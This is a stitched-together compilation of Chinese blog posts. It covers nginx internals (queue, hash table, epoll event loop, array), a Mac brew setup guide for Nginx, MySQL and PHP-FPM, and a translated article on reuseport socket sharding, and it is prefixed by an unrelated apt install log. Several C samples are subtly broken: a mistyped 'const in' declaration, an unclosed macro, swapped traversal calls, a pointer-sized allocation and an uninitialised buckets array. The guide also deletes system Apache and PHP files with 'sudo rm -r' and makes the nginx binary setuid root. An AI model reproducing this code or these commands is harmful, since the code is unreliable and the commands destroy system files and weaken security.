Get:2 http://archive.ubuntu.com/ubuntu/ trusty-updates/universe php5-fpm amd64 5.5.9+dfsg-1ubuntu4.5 [2191 kB]
Fetched 2201 kB in 1min 5s (33.6 kB/s)
Selecting previously unselected package libsystemd-daemon0:amd64.
(Reading database ... 13105 files and directories currently installed.)
Preparing to unpack .../libsystemd-daemon0_204-5ubuntu20.8_amd64.deb ...
Unpacking libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Selecting previously unselected package php5-fpm.
Preparing to unpack .../php5-fpm_5.5.9+dfsg-1ubuntu4.5_amd64.deb ...
Unpacking php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...
Processing triggers for ureadahead (0.100.0-16) ...
Setting up libsystemd-daemon0:amd64 (204-5ubuntu20.8) ...
Setting up php5-fpm (5.5.9+dfsg-1ubuntu4.5) ...

Creating config file /etc/php5/fpm/php.ini with new version
php5_invoke: Enable module pdo for fpm SAPI
php5_invoke: Enable module pdo_mysql for fpm SAPI
php5_invoke: Enable module opcache for fpm SAPI
php5_invoke: Enable module json for fpm SAPI
php5_invoke: Enable module mysql for fpm SAPI
php5_invoke: Enable module mysqli for fpm SAPI
invoke-rc.d: policy-rc.d denied execution of start.
Processing triggers for libc-bin (2.19-0ubuntu6.3) ...
Processing triggers for ureadahead (0.100.0-16) ...



在线查看:一步步搭建物联网系统


图灵-电子书版一步步搭建物联网系统






	
https://zh.opensuse.org/index.php?title=%E8%BD%AF%E4%BB%B6%E5%8C%85%E7%AE%A1%E7%90%86&variant=zh ↩
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  相关系列：http://www.codefrom.com/p/nginx




前面分析了ngx_array_t数组，现在看一下ngx_queue队列和ngx_hash哈希表的实现。


ngx_queue 队列


ngx_queue_t是一个双向链表，实现了一个队列的操作逻辑。但是它的结构只行指针的操作，因而在定义自己的节点时，需要自己定义数据结构和分配空间，并包含一个ngx_queue_t类型的成员。


typedef struct ngx_queue_s ngx_queue_t;

struct ngx_queue_s {
    ngx_queue_t  *prev;
    ngx_queue_t  *next;
};



这和Linux内核的数据结构很像。它们都将链表节点塞入数据结构。Linux内核的链表这样定义：


struct list_head
{
    struct list_head *next;
    struct list_head *prev;
}



使用的时候


struct fox
{
    unsigned long tail_length;
    unsigned long weight;
    bool  is_fantastic;
    struct list_head list;
}



结构如图所示：





所以它用fox.list.next指向下一个节点，用fox.list.prev指向上一个节点。那我们如何从list_head找到fox的地址呢。内核提供了一个container_of()宏可以从链表指针找到父结构中包含的任何变量。


#define container_of(ptr, type, member) ({ \ 
    const typeof( ((type *)0)->member ) *__mptr = (ptr);\ 
(type *)( (char *)__mptr - offsetof(type,member) );)



而在Nginx也是效仿采用一样的宏获取父结构地址。


#define ngx_queue_data(q, type, link)   \
    (type *) ((u_char *) q - offsetof(type, link))



用法


它的API定义了初始化，插入，排序，找中位节点等一系列操作。


用法如下：


typedef struct yahoo_s {
    ngx_queue_t   queue;
} yahoo_t;

typedef struct yahoo_guy_s {
    ngx_uint_t    id;
    u_char*       name;
    ngx_queue_t   queue;
} yahoo_guy_t;

ngx_int_t yahoo_no_cmp(const ngx_queue_t* p, const ngx_queue_t* n)
{
    yahoo_guy_t *pre, *next;
    pre  = (yahoo_guy_t*) ngx_queue_data(p, yahoo_guy_t, queue);
    next = (yahoo_guy_t*) ngx_queue_data(n, yahoo_guy_t, queue);
    return ((pre->id > next->id) ? 1:0);
}

int main()
{
    ngx_pool_t*     pool;
    yahoo_guy_t*    guy;
    ngx_queue_t*    q;
    yahoo_t*        yahoo;
    pool= ngx_create_pool(1024*10, NULL); //初始化内存池
    int i;
    // 构建队列
    const ngx_str_tnames[] = {
ngx_string("rainx"), ngx_string("xiaozhe"), ngx_string("zhoujian")} ;
    const in ids[] = {4611, 8322, 6111};

    yahoo = ngx_palloc(pool, sizeof(yahoo_t));
    ngx_queue_init(&yahoo->queue); //初始化queue

    for(i = 0; i < 3; i++)
    {
      guy = (yahoo_guy_t*) ngx_palloc(pool, sizeof(yahoo_guy_t));
      guy->id   = ids[i];
      guy->name = (u_char*) ngx_pstrdup(pool, (ngx_str_t*) &(names[i]) );
      ngx_queue_init(&guy->queue);
      // 从头部进入队列
      ngx_queue_insert_head(&yahoo->queue, &guy->queue);
    }

    // 从尾部遍历输出
    for(q = ngx_queue_last(&yahoo->queue);
        q != ngx_queue_sentinel(&yahoo->queue);
        q = ngx_queue_prev(q) ) {
        guy = ngx_queue_data(q, yahoo_guy_t, queue);
        printf("No. %d guy in yahoo is %s \n", guy->id, guy->name);
    }

    // 排序从头部输出
    ngx_queue_sort(&yahoo->queue, yahoo_no_cmp);
    printf("sorting....\n");
    for(q = ngx_queue_prev(&yahoo->queue);
        q != ngx_queue_sentinel(&yahoo->queue);
        q = ngx_queue_last(q) ) {
        guy = ngx_queue_data(q, yahoo_guy_t, queue);
        printf("No. %d guy in yahoo is %s \n", guy->id, guy->name);
    }

    ngx_destroy_pool(pool);
    return 0;
}



ngx_hash 哈希表


ngx_hash表所用的hash算法为分桶后线性查找法，因而查找效率同key-value对成反比。对于常用的解决冲突的方法有线性探测、二次探测和开链法等。这里使用的是最常用的开链法(也是STL中使用的方法)。


哈希表整个结构如图所示：





哈希表用下列数据结构进行管理


typedef struct {
    ngx_hash_t       *hash;
    ngx_hash_key_pt   key;

    ngx_uint_t        max_size;
    ngx_uint_t        bucket_size;
    char             *name;
    ngx_pool_t       *pool;
    ngx_pool_t       *temp_pool;
} ngx_hash_init_t;



在使用过程中，先会用ngx_hash_init_t实例化(类似于OOP思想，和内核驱动的用法相同)一个hash_init。


然后对这个“对象”赋值。


hash = (ngx_hash_t*)ngx_pcalloc(pool, sizeof(hash));
hash_init.hash = hash;            // hash结构
hash_init.key = &ngx_hash_key_lc; // hash算法函数
hash_init.max_size = 1024*10;     // max_size
hash_init.bucket_size = 64;       //桶的大小
hash_init.name = "yahoo_guy_hash"; 
hash_init.pool = pool;            // 用到的内存池
hash_init.temp_pool = NULL;



第一行分配了ngx_hash_t大小的内存存储如下hash结构。


typedef struct {
    ngx_hash_elt_t  **buckets;
    ngx_uint_t        size;
} ngx_hash_t;



然后创建一个需要加到hash table中的数组。


ngx_hash_key_t* arr_node; //存储键值对+hash值
elements = ngx_array_create(pool, 32, sizeof(ngx_hash_key_t));
for(i = 0; i < 3; i++) {
    arr_node = (ngx_hash_key_t*) ngx_array_push(elements);
    arr_node->key = (names[i]);
    arr_node->key_hash = ngx_hash_key_lc(arr_node->key.data, \
    arr_node->key.len);
    arr_node->value = (void*)descs[i];
}

ngx_hash_init(&hash_init, (ngx_hash_key_t*) elements->elts, \
elements->nelts)



最后将elements数组放到hash_init结构中，即将数组以hash table形式存储。


这就是整个hash结构的存储过程，查找相对简单，这里不再详述。


参考



	Linux Kernel Development. Page71~72

	http://www.embedu.org/Column/Column433.htm
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我们这里以单进程启动为例
nginx.c中的main 函数调用ngx_single_process_cycle


这个函数回循环调用


ngx_process_cycle.c  中的


for ( ;; ) {
  ....
  ngx_process_events_and_timers
  ....
}




事件循环的核心函数是 ngx_process_events_and_timers 。这个函数主要干了四件 事情:抢占 accept mutex，等待并分发事件，处理 accept 事件，处理其他io事件


我们这里只介绍等待分发事件
ngx_event.c 中的


    (void) ngx_process_events(cycle, timer, flags);




这里开始 wait并分发事件， 我们来可以来看一下这个函数

可以看到在 ngx_event.h 中的一个宏


#define ngx_process_events   ngx_event_actions.process_events



我们来看一下 ngx_event_actions 这个数据结构


typedef struct {
    /*
    添加事件方法，它将负责把1个感兴趣的事件添加到操作系统提供的事件驱动机制（如epoll，kqueue等）中，
    这样，在事件发生之后，将可以在调用下面的process_envets时获取这个事件。
    */
    ngx_int_t  (*add)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
    /*
    删除事件方法，它将一个已经存在于事件驱动机制中的事件一出，这样以后即使这个事件发生，调用process_events方法时也无法再获取这个事件
    */
    ngx_int_t  (*del)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);

    /*
    启用一个事件，目前事件框架不会调用这个方法，大部分事件驱动模块对于该方法的实现都是与上面的add方法完全一致的
    */
    ngx_int_t  (*enable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);
    /*
    禁用一个事件，目前事件框架不会调用这个方法，大部分事件驱动模块对于该方法的实现都是与上面的del方法一致
    */
    ngx_int_t  (*disable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags);

    /*
    向事件驱动机制中添加一个新的连接，这意味着连接上的读写事件都添加到事件驱动机制中了
    */
    ngx_int_t  (*add_conn)(ngx_connection_t *c);
    // 从事件驱动机制中一出一个连续的读写事件
    ngx_int_t  (*del_conn)(ngx_connection_t *c, ngx_uint_t flags);

    // 仅在多线程环境下会被调用，目前，nginx在产品环境下还不会以多线程方式运行。
    ngx_int_t  (*process_changes)(ngx_cycle_t *cycle, ngx_uint_t nowait);
    // 在正常的工作循环中，将通过调用process_events方法来处理事件。
    // 这个方法仅在ngx_process_events_and_timers方法中调用，它是处理，分发事件的核心
    ngx_int_t  (*process_events)(ngx_cycle_t *cycle, ngx_msec_t timer,
                   ngx_uint_t flags);

    // 初始化事件驱动模块的方法
    ngx_int_t  (*init)(ngx_cycle_t *cycle, ngx_msec_t timer);
    // 退出事件驱动模块前调用的方法。
    void       (*done)(ngx_cycle_t *cycle);
} ngx_event_actions_t;


extern ngx_event_actions_t   ngx_event_actions;




这个数据结构中定义了很多函数指针，


这里我们的配置是


events { 
    use epoll; 
    worker_connections 1024;     #所以nginx支持的总连接数就等于worker_processes * worker_connections 
} 




使用的是 epoll 事件模块,在epoll 模块初始化的时候调用


ngx_epoll_module.c 中的ngx_epoll_init的函数


其中给ngx_event_actions赋值


ngx_event_actions = ngx_epoll_module_ctx.actions 



我们来看下 ngx_epoll_module_ctx

结构类型是



typedef struct {
    // 事件模块的名称
    ngx_str_t              *name;

    // 在解析配置项前，这个回调方法用于创建存储配置项参数的结构体
    void                 *(*create_conf)(ngx_cycle_t *cycle);
    // 在解析配置项完成后，init_conf方法会被调用，用于综合处理当前事件模块感兴趣的全部配置项。
    char                 *(*init_conf)(ngx_cycle_t *cycle, void *conf);

    // 对于事件驱动机制，每个事件模块需要实现的10个抽象方法
    ngx_event_actions_t     actions;
} ngx_event_module_t;




初始化


//epoll是个event模块
ngx_event_module_t  ngx_epoll_module_ctx = {
    &epoll_name,
    ngx_epoll_create_conf,               /* create configuration */
    ngx_epoll_init_conf,                 /* init configuration */

    {
        ngx_epoll_add_event,             /* add an event */
        ngx_epoll_del_event,             /* delete an event */
        ngx_epoll_add_event,             /* enable an event */
        ngx_epoll_del_event,             /* disable an event */
        ngx_epoll_add_connection,        /* add an connection */
        ngx_epoll_del_connection,        /* delete an connection */
        NULL,                            /* process the changes */
        ngx_epoll_process_events,        /* process the events */
        ngx_epoll_init,                  /* init the events */
        ngx_epoll_done,                  /* done the events */
    }
};





这些事件处理函数都在 ngx_epoll_module.c 这个文件中，大家可以看一下源码


综上，根据我们的配置， ngx_event.c 中的 ngx_process_events

实际调用的是 ngx_epoll_module.c 中的 ngx_epoll_process_events


这个函数有点长，我们找些关键的点看一下，


 //一开始就是等待事件，最长等待时间为timer；nginx为事件专门用红黑树维护了一个计时器
    events = epoll_wait(ep, event_list, (int) nevents, timer);




所有收集到的事件都放在了event_list 中，我们来看一下这个event_list


static struct epoll_event  *event_list;

struct epoll_event {
    uint32_t      events;
    epoll_data_t  data;
};


typedef union epoll_data {
    void         *ptr;
    int           fd;
    uint32_t      u32;
    uint64_t      u64;
} epoll_data_t;





下面就开始对这些事件就行处理， 先加锁，


 ngx_mutex_lock(ngx_posted_events_mutex);
    //循环开始处理收到的所有事件
    for (i = 0; i < events; i++) {
        c = event_list[i].data.ptr;

        instance = (uintptr_t) c & 1;
        c = (ngx_connection_t *) ((uintptr_t) c & (uintptr_t) ~1);

        rev = c->read;

        if (c->fd == -1 || rev->instance != instance) {

            /*
             * the stale event from a file descriptor
             * that was just closed in this iteration
             */

            ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0,
                           "epoll: stale event %p", c);
            continue;
        }
        //取得发生一个事件
        revents = event_list[i].events;

        ngx_log_debug3(NGX_LOG_DEBUG_EVENT, cycle->log, 0,
                       "epoll: fd:%d ev:%04XD d:%p",
                       c->fd, revents, event_list[i].data.ptr);
        //记录wait的错误返回状态
        if (revents & (EPOLLERR|EPOLLHUP)) {
            ngx_log_debug2(NGX_LOG_DEBUG_EVENT, cycle->log, 0,
                           "epoll_wait() error on fd:%d ev:%04XD",
                           c->fd, revents);
        }

#if 0
        if (revents & ~(EPOLLIN|EPOLLOUT|EPOLLERR|EPOLLHUP)) {
            ngx_log_error(NGX_LOG_ALERT, cycle->log, 0,
                          "strange epoll_wait() events fd:%d ev:%04XD",
                          c->fd, revents);
        }
#endif
        //该事件是一个读事件，并该连接上注册的读事件是active的
        if ((revents & (EPOLLERR|EPOLLHUP))
             && (revents & (EPOLLIN|EPOLLOUT)) == 0)
        {
            /*
             * if the error events were returned without EPOLLIN or EPOLLOUT,
             * then add these flags to handle the events at least in one
             * active handler
             */

            revents |= EPOLLIN|EPOLLOUT;
        }

        if ((revents & EPOLLIN) && rev->active) {

            if ((flags & NGX_POST_THREAD_EVENTS) && !rev->accept) {
                rev->posted_ready = 1;

            } else {
                rev->ready = 1;
            }
            //事件放入到相应的队列中
            if (flags & NGX_POST_EVENTS) {
                queue = (ngx_event_t **) (rev->accept ?
                               &ngx_posted_accept_events : &ngx_posted_events);

                ngx_locked_post_event(rev, queue);

            } else {
                rev->handler(rev);
            }
        }

        wev = c->write;

        if ((revents & EPOLLOUT) && wev->active) {

            if (c->fd == -1 || wev->instance != instance) {

                /*
                 * the stale event from a file descriptor
                 * that was just closed in this iteration
                 */

                ngx_log_debug1(NGX_LOG_DEBUG_EVENT, cycle->log, 0,
                               "epoll: stale event %p", c);
                continue;
            }

            if (flags & NGX_POST_THREAD_EVENTS) {
                wev->posted_ready = 1;

            } else {
                wev->ready = 1;
            }

            if (flags & NGX_POST_EVENTS) {
                ngx_locked_post_event(wev, &ngx_posted_events);

            } else {
                wev->handler(wev);
            }
        }
    }

    ngx_mutex_unlock(ngx_posted_events_mutex);




先加锁，对event_list 中的事件循环处理，

在每个循环中，

先获取这个事件所在的连接， 然后判断是读事件还是写事件， 然后调用注册在这个事件上的的回调函数。 读事件的回调函数是
ngx_http_init_connection  这样就进入了 HTTP框架处理流程


 Mac OS使用brew安装Nginx、MySQL、PHP-FPM的LAMP开发环境
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原文链接：http://tabalt.net/blog/install-nginx-mysql-php-fpm-by-brew-on-mac/


准备工作


新版的 Mac OS 内置了Apache 和 PHP，我的系统版本是OS X 10.9.3，可以通过以下命令查看Apache和PHP的版本号：


httpd -v

    Server version: Apache/2.2.26 (Unix)
    Server built:   Dec 10 2013 22:09:38

php --version

    PHP 5.4.24 (cli) (built: Jan 19 2014 21:32:15)
    Copyright (c) 1997-2013 The PHP Group
    Zend Engine v2.4.0, Copyright (c) 1998-2013 Zend Technologies



因为我们要自己动手来安装 Nginx，因此首先来关闭系统自带的apache：


sudo apachectl stop  #关闭apache，如果事先没开启过，可以忽略报错信息



如果你的apache已经加入了launchctl，使用下面的命令来关闭：


sudo launchctl unload -w /System/Library/LaunchDaemons/org.apache.httpd.plist



为什么选择关闭apache？因为mac os x系统自带的apache是没有优雅的remove/uninstall 的方式的... 对于“洁癖”比较严重的童鞋，可以选择直接删除相关的文件！（千万不要手抖删错目录...）


sudo rm /usr/sbin/apachectl
sudo rm /usr/sbin/httpd
sudo rm -r /etc/apache2/



删除自带的php


sudo rm -r /usr/bin/php



如果没有安装brew，可以按照官网的步骤安装


http://brew.sh/



nginx的安装与配置


安装nginx


brew install nginx



修改配置文件


sudo vim /usr/local/etc/nginx/nginx.conf
    #修改默认的8080端口为80



给予管理员权限


sudo chown root:wheel/usr/local/opt/nginx/bin/nginx
sudo chmod u+s/usr/local/opt/nginx/bin/nginx



加入launchctl启动控制


mkdir -p ~/Library/LaunchAgents
cp /usr/local/opt/nginx/homebrew.mxcl.nginx.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.nginx.plist



运行nginx


sudo nginx #打开 nginx
nginx -s reload|reopen|stop|quit  #重新加载配置|重启|停止|退出 nginx
nginx -t   #测试配置是否有语法错误



用法详解


nginx [-?hvVtq] [-s signal] [-c filename] [-p prefix] [-g directives]



选项列表


-?,-h           : 打开帮助信息
-v              : 显示版本信息并退出
-V              : 显示版本和配置选项信息，然后退出
-t              : 检测配置文件是否有语法错误，然后退出
-q              : 在检测配置文件期间屏蔽非错误信息
-s signal       : 给一个 nginx 主进程发送信号：stop（停止）, quit（退出）, reopen（重启）, reload（重新加载配置文件）
-p prefix       : 设置前缀路径（默认是：/usr/local/Cellar/nginx/1.2.6/）
-c filename     : 设置配置文件（默认是：/usr/local/etc/nginx/nginx.conf）
-g directives   : 设置配置文件外的全局指令



mysql的安装与配置


安装mysql


brew install mysql
cd /usr/local/opt/mysql/



修改配置文件


sudo vim my.cnf
#如果出现无法启动mysql，rm my.cnf 



加入launchctl启动控制


mkdir -p ~/Library/LaunchAgents/
cp /usr/local/opt/mysql/homebrew.mxcl.mysql.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.mysql.plist
#取消启动
#launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.mysql.plist



初始化 mysql


./bin/mysql_install_db 



执行安全设置脚本,设置root账号密码


./bin/mysql_secure_installation



命令行连接mysql


mysql -uroot -p



php的安装与配置


brew 默认没有 php 安装包：


brew tap homebrew/dupes
brew tap josegonzalez/homebrew-php



现在可以安装php了：


brew install php54 --with-imap --with-tidy --with-debug --with-mysql --with-fpm



将php路径加入PATH


sudo vim ~/.bash_profile    
    export PATH="$(brew --prefix php54)/bin:$PATH"

source ~/.bash_profile



加入launchctl启动控制


mkdir -p ~/Library/LaunchAgents
cp /usr/local/opt/php54/homebrew.mxcl.php54.plist ~/Library/LaunchAgents/
launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.php54.plist



配置路径


/usr/local/etc/php/5.4/php.ini
/usr/local/etc/php/5.4/php-fpm.conf



配置 Nginx 支持 PHP-FPM


sudo vim /usr/local/etc/nginx/nginx.conf    

    # 添加默认首页 php
    index  index.php index.html index.htm;

    # 取消以下内容的注释，并做修改
    location ~ \.php$ {
        fastcgi_intercept_errors on;
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  /usr/local/Cellar/nginx/1.6.0_1/html$fastcgi_script_name;
        include        /usr/local/etc/nginx/fastcgi_params;
    }



测试环境


sudo vim /usr/local/Cellar/nginx/1.6.0_1/html/index.php

    #添加测试代码
    <?php 
        phpinfo();



结语


到目前为止，我们的Nginx、MySQL、PHP-FPM三大软件已经安装好了，针对不同的系统版本和软件版本，可能会遇到一些问题，欢迎留言探讨。


原文链接：http://tabalt.net/blog/install-nginx-mysql-php-fpm-by-brew-on-mac/
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  英文原文地址：Socket Sharding in NGINX Release 1.9.1

  译者：UPYUN CDN 开发工程师 其实不想走




NGINX 1.9.1 发布版本中引入了一个新的特性 —— 允许套接字端口共享，该特性适用于大部分最新版本的操作系统，其中也包括 DragonFly BSD 和内核 3.9 以后的 Linux 操作系统。套接字端口共享选项允许多个套接字监听同一个绑定的网络地址和端口，这样一来内核就可以将外部的请求连接负载均衡到这些套接字上来。（对于 NGINX Plus 的用户来说，该特性将会在年底发布的版本 7 中得到支持）


实际上很多潜在的用户希望使用端口重用功能。其他服务也可以简单的进行热更新升级「NGINX 支持 多种方式 的热更新」。对于 NGINX 来说，打开该选项可以通过在特定场景下减少连接锁竞争而提高性能。


如下图所示，在该选项没有生效的前提下，一个单独的监听套接字会通知所有的工作进程，每个进程则会试图争抢接管某个连接：





当该选项生效时，这个时候对于每个网络地址和端口就会有多个监听套接字，每个工作进程对应一个套接字，内核会决定由哪个监听套接字（也就是决定哪个工作进程）接管进来的连接。这个特性可以减少进程与进程之间为接收连接产生的锁竞争而提高多核系统的性能。但是，如果当一个工作进程处于阻塞操作时，这个时候不仅会影响已经被该进程接收的连接，还会阻塞由系统准备分配给该进程的连接请求：





配置套接字共享


如下面配置所示，可以通过在 listen 指令后添加新的参数 reuseport 来为 HTTP 或者 TCP（流模块）打开套接字端口共享功能：





对于套接字来说，添加 reuseport 参数也就等于禁止了 accept_mutex 指令了，因为 mutex 对于 reuseport 来说是多余的，不过对于那些不希望使用套接字端口共享特性的端口来说，我们则有必要设置 accept_mutex。


reuseport 性能压力测试


我通过运行 wrk 压测工具来压测一个跑在 36 核亚马逊实例上并开启 4 个工作进程的 NGINX。为了减少网络对于测试结果的影响，我们的客户端和 NGINX 都是运行在本地的，并且 NGINX 只返回 OK 字符串而不返回文件。我对比了三个不同的配置，一个是默认的（等同于 accept_mutex on），另一个是 accept_mutex off，还有一个则是 reuseport。正如下图所示，使用 reuseport 后每秒能处理的请求数比其他的两个增加了 2-3 倍，并且同时减少了平均延迟和平均延迟的标准差。





我还尝试客户端和 NGINX 分别运行在不同的主机上跑相关的压力测试，但这一次 NGINX 返回的是一个 HTML 文件。正如下表所示，与上图的结果类似，使用端口重用能减少请求的处理延迟，并且延迟标准差减少的更加明显（大概是 10 倍）。其他结果（并没有在下表中显示）则更加让人欣喜。通过端口重用，请求的压力被各个工作进程均衡掉，而在默认条件下（也就是 accept_mutex 打开），一些工作进程会得到比较高的负载，而在 accept_mutex 关闭的时候，所有的进程都会显示负载比较高。





在上述的压力测试中，请求的频率很高但是每个请求并不需要复杂的处理。其他一些初步的测试也表明端口重用特性在网络流量匹配的时候最能提高性能。（该参数并不能在邮件模块的上下文监听指令中生效，因为邮件的网络流量并不能匹配这个特性）。我们建议你在使用 reuseport 这个指令前先在你的 NGINX 实例上进行性能测试，而不是全部的 NGINX 实例都使用。对于测试 NGINX 的一些小提示，可以参考 Konstantin Pavlov 在 2014 NGINX 大会上的演讲。


致谢


感谢在英特尔工作的卢英奇和 Sepherosa Ziehau，他们每个人各自贡献了使得套接字端口共享生效的解决方案。NGINX 开发小组合并了他们俩的想法从而创造出目前看来比较理想的解决方案。


原文链接：http://io.upyun.com/2015/07/20/nginx-socket-sharding/
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作者：_Zhao
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源文件路径


版本：1.8.0


csrc\core\Ngx_hash.h
src\core\Ngx_hash.c



关于hash表


Nginx实现的hash表和常见的hash表大体一致，细节有区别，所以，要了解ngx_hash_t最好对hash表的基础概念进行一下梳理。


数组与hash表


从查询的角度来看，数组根据索引值的查询速度很快快。

原因在于数组内元素的位置是基于数组起始位置的绝对位置，而且数组的存储空间是连续的，可以根据下标直接操作指针跳转。


虽然数组的查询速度很快，但是数组的索引值必须是数值，这就很讨厌了。

因为很多情况下，索引值并不是数字，而是字符串什么的。比如用名字来索引一个人。


解决这个问题的一个很容易的办法就是给每个人安排一个学号（先不考虑重名的情况），那么，在实际存储时，按照学号为索引值的数组来存储对应的信息；在查询时，只需要知道名字，就可以得到名字对应的学号，根据学号可以直接从数组中取出信息。


这个解决方法中有两个主要部分：



	建立从名字到学号的对应关系；

	建立以学号为索引值的数组；



从名字到学号的对应关系可以抽象成从字符串到数值的对应关系，这种对应关系，在数学上表示就是f(k)。其中k表示一个字符串（索引关键字），函数f表示从字符串到数值的对应关系，f(k)表示k经过f映射得到的值。


只要有了f(k)，那么将f(k)作为数组的下标即可获取k所对应的信息。

即


k------>f(k)------->info[f(k)]



其中，从k到f(k)的映射函数称为哈希函数，数组info[]称为哈希（hash）表。


hash表的问题及解决方法


理想是丰满的，现实是骨感的。hash表在建立时最关键之处在于找到合适的哈希函数，使得：



	
k与f(k)之间是一一映射的。即，保证给定对于k存在唯一的f(k)与之对应，同时对于f(k)存在唯一的k与之对应。

	
f(k)的集合是连续的。即，对于数组info[]而言，不存在数组项为空的情况，可以更加充分利用资源。



可惜，满足上述条件的哈希函数非常困难。

现在使用的各种哈希函数基本上只能保证较小概率出现两个不同的k其f(k)相同的情况。

基本不能保证f(k)的集合是连续的。


因为f(k)的集合不是连续的，所以哈希表也被称为散列表，哈希函数也被称为散列函数。

而出现两个k值对应的f(k)相同的情况，称为哈希冲突。


解决哈希冲突常见的办法

出现散列情况表示可能浪费一点资源，这是可以接受的。但是出现冲突表示会发生信息覆盖，这是错误，不能接受。所以，必须解决哈希冲突。


解决哈希冲突的常见的方法有：

1) 开放地址法；2）再哈希法；3）链地址法；


具体内容请自行google，这里就不去挖老坟了。


哈希表的建立


从上述的分析可知，建立哈希表有两个主要环节：


1）建立哈希函数；

2）建立哈希表（都是窟窿的数组）


其中，为了解决哈希冲突（假设采用链地址法），所建立的哈希表（数组）里的元素可能是一个链表或者一个数组。也就是说，哈希表是一个二维的结构。

同时，对于索引关键字，要求哈希函数获得的哈希值控制在一定范围内。


因此，哈希表大概长成这个样子：


ctypedef struct node_s{
     char    *key;
     char    *val;
     node_t  *next;
}node_t;

#define HASHSIZE 101
node_t* hashtable[HASHSIZE];



其中hashtable表示哈希表，key表示索引值，比如上述例子中某个学生的名字，node_t表示哈希表中存储的信息，同时也可以看到node_t是链表的一个节点，用于解决哈希冲突。


假设key的值是字符串"xiaoming"，根据某个哈希函数，得出的值为6，那么"xiaoming"的信息就可以从hashtable[6]链表中取得，这样再去遍历hashtable[6]这个链表，找到key等于"xiaoming"的链表节点，其val就是要查找的值。


从上述分析，可知，hash表是一种拿空间换取时间的数据结构。

关于hash表的各种实现方法及算法的算法复杂度，请自行google。





Nginx中的哈希表


需要指出的是，Nginx中自造的哈希表属于内部使用的数据结构，因此，并不是一个通用的哈希表。此外，为了提高效率，作者做了相当多的优化，这些优化使得Nginx中的哈希表与常规的哈希表长得不一样。


例如，Nginx的哈希表一经初始化就不可更改，既不能增加元素，也不能删除元素。

这样做主要是因为Nginx的哈希表用于解决类似于http模块中域名匹配的问题，这些域名在配置文件中配置，一旦读取配置文件，这些信息是不可修改的，因此，没有增删的需求。


另外，由于Nginx哈希表的这种只读特点，使得可以在性能上有很大的可优化空间。

而Nginx也确实在这上面作了很多文章。


数据结构


根据哈希表的概念可知：哈希表本身就是一个数组，因此，是一块连续的内存空间。

在Nginx中，内存的管理都是通过ngx_pool_t来管理的（不清楚的请移步这里）,因此，需要一个用来管理这块连续内存的结构体。


但是由于哈希表为了解决冲突问题，通常采用链地址法，所以，这个管理内存的结构体会使用指针的指针。


另外，由于Nginx的哈希表是只读的，冲突的元素个数可以在初始化是确定，所以使用数组来代替链表解决冲突是更优的选择。


这个用来代替链表的数组还有个名字叫hash桶，所以，会在Nginx源码中看到buckets这样的命名。


Nginx的哈希表在内存上大概是长这个样子的：



假设理想情况，所有的索引值key经过哈希函数映射后f(k)集合的大小为4。


为了解决冲突，我们将每个f(k)对应的数组大小设定为2。这样，我们的hash表在逻辑上就变成了一个4x2的数组。


当然，为了更好的说明情况，这里假设哈希函数是理想的，因此，hash表不存在未使用的部分。


所以，在内存上，Nginx哈希表的本尊，就是一段连续的内存空间，此外，还需要两个用来管理这段内存空间的数据结构。


1）大小为4的数组，类型为ngx_hash_elt_t *，用来分别指向不同的内存段，表示每个hash桶。

2）类型为ngx_hash_elt_t **的指针buckets，用来表示hash桶数组。


由于指针的指针可以完整的表示二维数组，因此，ngx_hash_elt_t *数组并不需要定义。只需定义ngx_hash_elt_t来表示hash表中的每个元素即可。


因此，Nginx哈希表的核心数据结构如下：


ngx_hash_elt_t用来表示hash表的元素。


ctypedef struct {
    void             *value;
    u_short           len;
    u_char            name[1];
} ngx_hash_elt_t;



ngx_hash_t用来表示整个hash表。


ctypedef struct {
    ngx_hash_elt_t  **buckets;
    ngx_uint_t        size;
} ngx_hash_t;



通过buckets这个指针的指针可以完整的访问二维数组。


Nginx中是如何使用这两个数据结构的呢？或者简化一下，Nginx是如何初始化这两个数据结构的呢？


首先，作为管理内存的结构体，ngx_hash_t既可以作为局部变量在栈上出现，也可以作为堆上的变量，使用ngx_pool_t管理。


以堆为例，


ngx_hash_t  *hash;
// 向ngx_pool_t申请空间，用于存放管理结构体ngx_hash_t及4个 ngx_hash_elt_t指针
hash = ngx_pcalloc(pool, sizeof(ngx_hash_t) + 4*sizeof(ngx_hash_elt_t *));

u_char *elts;
// 向ngx_pool_t申请hash表本身使用的连续内存块
elts = ngx_palloc(pool, 4 * 2 * sizeof(ngx_hash_elt_t));

ngx_hash_elt_t **buckets;
// 将管理结构体成员变量赋于正确的值。
for (i = 0; i < 4; i++) {
    buckets[i] = (ngx_hash_elt_t *) elts;  // 4个ngx_hash_elt_t指针指向正确地址；
    elts += 2 * sizeof(ngx_hash_elt_t);
}
hash->buckets = buckets;
hash->size = 4;




这段代码，在内存池中申请了一段连续的内存，分别用于1个ngx_hash_t和4个ngx_hash_elt_t *。


这样就把管理hash表那段连续内存块使用的ngx_hash_elt_t** buckets及ngx_hash_elt_t*数组一起创建了。


然后依次给每个ngx_hash_elt_t *赋值，使其指向正确的内存地址。




说明

以上代码自Nginx源码中简化而来，去除了许多用于优化的代码。


由于ngx_hash_t内容较多，这里只从设计角度分析了Nginx中的hash表。主要目的在于理清整体框架及思路。


细节部分，后续添加。先到这里。
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源文件路径


版本：1.8.0


src\core\Ngx_array.h
src\core\Ngx_array.c



主要作用分析


ngx_array_t是Nginx内部使用的数组型数据结构，与C语言内置的数组概念上类似，但是有两点主要区别：


1）ngx_array_t使用ngx_pool_t内存池来管理内存；

2）ngx_array_t虽然有预设数组大小的概念，但是在数组元素超出预设值大小时，会在ngx_pool_t内存池中发生重分配。


但是需要指出，虽然ngx_array_t支持超出数组预设值，但是在内存重分配之后并不会重新利用原来的内存，会造成部分内存浪费。


数据结构


ngx_array_t


typedef struct {
    void        *elts;
    ngx_uint_t   nelts;
